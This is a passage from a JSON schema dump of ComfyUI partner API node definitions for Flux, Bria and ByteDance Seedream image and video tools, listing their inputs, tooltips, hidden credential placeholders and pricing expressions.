18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "prompt", "prompt_upsampling", "guidance", "steps", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProFillNode", "display_name": "Flux.1 Fill Image", "description": "Inpaints image based on mask and prompt.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.05}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxEraseNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {"tooltip": "White areas are removed; black areas are preserved."}], "dilate_pixels": ["INT", {"tooltip": "Expands the mask boundaries to ensure clean coverage of the object's edges.", "default": 10, "min": 0, "max": 25}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "dilate_pixels"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxEraseNode", "display_name": "Flux Erase Image", "description": "Removes the masked object from an image and reconstructs the background. Paint the mask over what you want to erase.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"range_usd\",\"min_usd\":0.03,\"max_usd\":0.06,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxVTONode": {"input": {"required": {"person": ["IMAGE", {"tooltip": "Image of the person to dress."}], "garment": ["IMAGE", {"tooltip": "Image of the garment to apply."}], "prompt": ["STRING", {"tooltip": "Optional natural-language styling instruction (e.g. how the garment should fit).", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["person", "garment", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxVTONode", "display_name": "Flux Virtual Try-On", "description": "Virtual try-on: dresses the person in the provided garment.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"range_usd\",\"min_usd\":0.0375,\"max_usd\":0.075,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2ProImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation.", "advanced": true, "default": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Up to 9 images to be used as references."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "width", "height", "seed", "prompt_upsampling"], "optional": ["images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2ProImageNode", "display_name": "Flux.2 [pro] Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "width", "type": "INT"}, {"name": "height", "type": "INT"}], "inputs": ["images"], "input_groups": []}, "expr": "\n (\n $MP := 1024 * 1024;\n $outMP := $max([1, $floor(((widgets.width * widgets.height) + $MP - 1) / $MP)]);\n $outputCost := 0.03 + 0.015 * ($outMP - 1);\n inputs.images.connected\n ? {\n \"type\":\"range_usd\",\n \"min_usd\": $outputCost + 0.015,\n \"max_usd\": $outputCost + 0.12,\n \"format\": { \"approximate\": true }\n }\n : {\"type\":\"usd\",\"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2MaxImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation.", "advanced": true, "default": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Up to 9 images to be used as references."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "width", "height", "seed", "prompt_upsampling"], "optional": ["images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2MaxImageNode", "display_name": "Flux.2 [max] Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "width", "type": "INT"}, {"name": "height", "type": "INT"}], "inputs": ["images"], "input_groups": []}, "expr": "\n (\n $MP := 1024 * 1024;\n $outMP := $max([1, $floor(((widgets.width * widgets.height) + $MP - 1) / $MP)]);\n $outputCost := 0.07 + 0.03 * ($outMP - 1);\n\n inputs.images.connected\n ? {\n \"type\":\"range_usd\",\n \"min_usd\": $outputCost + 0.03,\n \"max_usd\": $outputCost + 0.24,\n \"format\": { \"approximate\": true }\n }\n : {\"type\":\"usd\",\"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2ImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Flux.2 [pro]", "inputs": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image generation. Up to 8 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "Flux.2 [max]", "inputs": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image generation. Up to 8 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2ImageNode", "display_name": "Flux.2 Image", "description": "Generate images via Flux.2 [pro] or Flux.2 [max] from a prompt and optional reference images.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.width", "type": "INT"}, {"name": "model.height", "type": "INT"}], "inputs": [], "input_groups": ["model.images"]}, "expr": "\n (\n $isMax := widgets.model = \"flux.2 [max]\";\n $MP := 1024 * 1024;\n $w := $lookup(widgets, \"model.width\");\n $h := $lookup(widgets, \"model.height\");\n $outMP := $max([1, $floor((($w * $h) + $MP - 1) / $MP)]);\n $outputCost := $isMax\n ? (0.07 + 0.03 * ($outMP - 1))\n : (0.03 + 0.015 * ($outMP - 1));\n $refMin := $isMax ? 0.03 : 0.015;\n $refMax := $isMax ? 0.24 : 0.12;\n $hasRefs := $lookup(inputGroups, \"model.images\") > 0;\n $hasRefs\n ? {\n \"type\": \"range_usd\",\n \"min_usd\": $outputCost + $refMin,\n \"max_usd\": $outputCost + $refMax,\n \"format\": { \"approximate\": true }\n }\n : {\"type\": \"usd\", \"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaImageEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["FIBO"]}], "image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Instruction to edit image", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"default": "", "multiline": true}], "structured_prompt": ["STRING", {"tooltip": "A string containing the structured edit prompt in JSON format. Use this instead of usual prompt for precise, programmatic control.", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 1, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "guidance_scale": ["FLOAT", {"tooltip": "Higher value makes the image follow the prompt more closely.", "default": 3, "min": 3, "max": 5, "step": 0.01, "display": "number"}], "steps": ["INT", {"default": 50, "min": 20, "max": 50, "step": 1, "display": "number"}], "moderation": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Moderation settings", "options": [{"key": "false", "inputs": {"required": {}}}, {"key": "true", "inputs": {"required": {"prompt_content_moderation": ["BOOLEAN", {"default": false}], "visual_input_moderation": ["BOOLEAN", {"default": false}], "visual_output_moderation": ["BOOLEAN", {"default": true}]}}}]}]}, "optional": {"mask": ["MASK", {"tooltip": "If omitted, the edit applies to the entire image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "negative_prompt", "structured_prompt", "seed", "guidance_scale", "steps", "moderation"], "optional": ["mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "structured_prompt"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "BriaImageEditNode", "display_name": "Bria FIBO Image Edit", "description": "Edit images using Bria latest model", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/image/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaRemoveImageBackground": {"input": {"required": {"image": ["IMAGE", {}], "moderation": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Moderation settings", "options": [{"key": "false", "inputs": {"required": {}}}, {"key": "true", "inputs": {"required": {"visual_input_moderation": ["BOOLEAN", {"default": false}], "visual_output_moderation": ["BOOLEAN", {"default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "moderation", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaRemoveImageBackground", "display_name": "Bria Remove Image Background", "description": "Remove the background from an image using Bria RMBG 2.0.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/image/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.018}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaRemoveVideoBackground": {"input": {"required": {"video": ["VIDEO", {}], "background_color": ["COMBO", {"tooltip": "Background color for the output video.", "multiselect": false, "options": ["Black", "White", "Gray", "Red", "Green", "Blue", "Yellow", "Cyan", "Magenta", "Orange"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "background_color", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaRemoveVideoBackground", "display_name": "Bria Remove Video Background", "description": "Remove the background from a video using Bria. ", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaVideoGreenScreen": {"input": {"required": {"video": ["VIDEO", {}], "green_shade": ["COMBO", {"tooltip": "Solid chroma-key shade applied behind the foreground: broadcast_green (#00B140), chroma_green (#00FF00), or blue_screen (#0000FF).", "multiselect": false, "options": ["broadcast_green", "chroma_green", "blue_screen"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "green_shade", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaVideoGreenScreen", "display_name": "Bria Video Green Screen", "description": "Replace a video's background with a solid chroma-key screen using Bria.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaVideoReplaceBackground": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Foreground video whose background is replaced."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"background_image": ["IMAGE", {"tooltip": "Background image to composite behind the foreground. Provide either a background image or a background video, not both."}], "background_video": ["VIDEO", {"tooltip": "Background video to composite behind the foreground. Provide either a background image or a background video, not both."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "seed"], "optional": ["background_image", "background_video"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaVideoReplaceBackground", "display_name": "Bria Video Replace Background", "description": "Replace a video's background with a supplied image or video using Bria. The output keeps the foreground's resolution and frame rate; a background with a different aspect ratio is stretched to fit, so match it for undistorted results.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaTransparentVideoBackground": {"input": {"required": {"video": ["VIDEO", {}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["images", "mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "BriaTransparentVideoBackground", "display_name": "Bria Remove Video Background (Transparent)", "description": "Remove the background from a video using Bria and return the cut-out frames plus an alpha mask. Connect both to a compositing node, or feed them to Save WEBM to write a transparent video.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["seedream-3-0-t2i-250415"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below", "multiselect": false, "options": ["1024x1024 (1:1)", "864x1152 (3:4)", "1152x864 (4:3)", "1280x720 (16:9)", "720x1280 (9:16)", "832x1248 (2:3)", "1248x832 (3:2)", "1512x648 (21:9)", "2048x2048 (1:1)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 1024, "min": 512, "max": 2048, "step": 64}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 1024, "min": 512, "max": 2048, "step": 64}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "guidance_scale": ["FLOAT", {"tooltip": "Higher value makes the image follow the prompt more closely", "default": 2.5, "min": 1.0, "max": 10.0, "step": 0.01, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size_preset", "width", "height"], "optional": ["seed", "guidance_scale", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageNode", "display_name": "ByteDance Image", "description": "Generate images using ByteDance models via api based on prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedreamNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["seedream 5.0 lite", "seedream-4-5-251128", "seedream-4-0-250828"]}], "prompt": ["STRING", {"tooltip": "Text prompt for creating or editing an image.", "default": "", "multiline": true}], "size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["2048x2048 (1:1)", "2304x1728 (4:3)", "1728x2304 (3:4)", "2560x1440 (16:9)", "1440x2560 (9:16)", "2496x1664 (3:2)", "1664x2496 (2:3)", "3024x1296 (21:9)", "3072x3072 (1:1)", "4096x4096 (1:1)", "Custom"]}]}, "optional": {"image": ["IMAGE", {"tooltip": "Input image(s) for image-to-image generation. Reference image(s) for single or multi-reference generation."}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "sequential_image_generation": ["COMBO", {"tooltip": "Group image generation mode. 'disabled' generates a single image. 'auto' lets the model decide whether to generate multiple related images (e.g., story scenes, character variations).", "multiselect": false, "options": ["disabled", "auto"]}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate when sequential_image_generation='auto'. Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 15, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image.", "advanced": true, "default": false}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size_preset"], "optional": ["image", "width", "height", "sequential_image_generation", "max_images", "seed", "watermark", "fail_on_partial"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedreamNode", "display_name": "ByteDance Seedream 4.5 & 5.0", "description": "Unified text-to-image generation and precise single-sentence editing at up to 4K resolution.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price := $contains(widgets.model, \"5.0 lite\") ? 0.035 :\n $contains(widgets.model, \"4-5\") ? 0.04 : 0.03;\n {\n \"type\":\"usd\",\n \"usd\": $price,\n \"format\": { \"suffix\":\" x images/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedreamNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for creating or editing an image.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "seedream 5.0 lite", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(3K) 3072x3072 (1:1)", "(3K) 2592x3456 (3:4)", "(3K) 3456x2592 (4:3)", "(3K) 4096x2304 (16:9)", "(3K) 2304x4096 (9:16)", "(3K) 2496x3744 (2:3)", "(3K) 3744x2496 (3:2)", "(3K) 4704x2016 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 14, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 14 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}, {"key": "seedream-4-5-251128", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 